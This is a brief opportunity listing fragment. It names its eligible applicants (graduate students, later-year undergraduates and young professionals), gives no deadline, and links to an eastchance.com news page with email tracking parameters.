Deadline: N/A
Open to: graduate students, students in their second and third year of
university studies and young professionals
Website:

http://www.eastchance.com/news.asp?q=341,eu,sco&issue=20110327&utm_source=eastch\

anceMailingGroups&utm_medium=email&utm_campaign=20110327